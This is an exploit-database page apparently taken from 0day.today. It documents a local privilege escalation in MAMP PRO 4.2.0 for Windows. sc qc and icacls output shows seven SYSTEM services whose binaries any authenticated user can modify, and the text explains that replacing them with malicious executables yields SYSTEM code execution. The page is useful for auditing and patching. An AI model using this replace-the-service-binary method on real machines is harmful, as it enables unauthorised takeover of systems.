0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MAMP PRO 4.2.0 Local Privilege Escalation Vulnerability
[# Exploit Title: MAMP PRO 4.2.0 Local Privilege Escalation
# Exploit Author: b1nary
# Vendor Homepage: https://www.mamp.info/
# Software Link: https://downloads.mamp.info/MAMP-PRO-WINDOWS/releases/4.2.0/MAMP_MAMP_PRO_4.2.0.exe
# Version: 4.2.0
# Tested on: Windows 10 Pro x64 Version 10.0.19041
MAMPPRO Windows installer installs seven services called 'MAMPPRO’, 'MAMPPRO-Apache', ‘MAMPPRO-MySQL’, ’MAMPDNS’, ‘MAMPPRO-Memcached', ‘emailrelay-service.exe’, and 'MAMPPRO-NGINX'. All those services runs with 'SYSTEM' privileges and they have weak file permission. Which means that a low-privileged user can modify those services and execute code with ‘SYSTEM’ privileges on the system.
NT AUTHORITY\Authenticated Users:(I)(M) means that every authenticated user has modify access, (M) stands for Modify, on the files, so they can read, write and delete the files.
=================================================================
(1). ===== MAMPPRO =====
C:\Users\user>sc qc MAMPPRO
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\MAMPPRO\MAMPPROService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPRO Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\MAMPPRO>icacls c:\MAMPPRO\MAMPPROService.exe
C:\MAMPPRO\MAMPPROService.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(2). ===== MAMPPRO-Apache =====
C:\Users\user>sc qc MAMPPRO-Apache
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-Apache
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\MAMP\bin\apache\bin\httpd.exe" -k runservice
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-Apache
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "c:\MAMP\bin\apache\bin\httpd.exe"
c:\MAMP\bin\apache\bin\httpd.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(3). ===== MAMPPRO-MySQL =====
C:\Users\user>sc qc MAMPPRO-MySQL
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-MySQL
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MAMP\bin\mysql\bin\mysqld.exe --defaults-file=C:\Users\Public\Documents\Appsolute\MAMPPRO\conf\my.ini MAMPPRO-MySQL
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-MySQL
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "C:\MAMP\bin\mysql\bin\mysqld.exe"
C:\MAMP\bin\mysql\bin\mysqld.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(4). ===== MAMPDNS =====
C:\Users\user>sc qc MAMPDNS
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPDNS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\MAMPPRO\MAMPDNSService.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPRO DNS Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "C:\MAMPPRO\MAMPDNSService.exe"
C:\MAMPPRO\MAMPDNSService.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(5). ===== MAMPPRO-Memcached =====
C:\Users\user>sc qc MAMPPRO-Memcached
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-Memcached
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\MAMPPRO\MAMPMemcached.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-Memcached
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "C:\MAMPPRO\MAMPMemcached.exe"
C:\MAMPPRO\MAMPMemcached.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(6). ===== MAMPPRO-NGINX =====
C:\Users\user>sc qc MAMPPRO-NGINX
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MAMPPRO-NGINX
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\MAMPPRO\MAMPNGINX.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MAMPPRO-NGINX
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "C:\MAMPPRO\MAMPNGINX.exe"
C:\MAMPPRO\MAMPNGINX.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
(7). ===== emailrelay =====
C:\Users\user>sc qc emailrelay
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: emailrelay
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MAMP\bin\emailrelay\emailrelay-service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : E-MailRelay
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>icacls "C:\MAMP\bin\emailrelay\emailrelay-service.exe"
C:\MAMP\bin\emailrelay\emailrelay-service.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
Successfully processed 1 files; Failed processing 0 files
=================================================================
In order to exploit this vulnerability, a local attacker must insert an executable file that should be named as one of the following 'MAMPDNSService.exe' 'MAMPPROService.exe', 'httpd.exe', 'MAMPMemcached.exe', 'mysqld.exe’, ‘emailrelay-service.exe’ or 'MAMPNGINX.exe' , and replace the original files. Once the services start the malicious files will be executed as SYSTEM.
# 0day.today [2024-11-16] #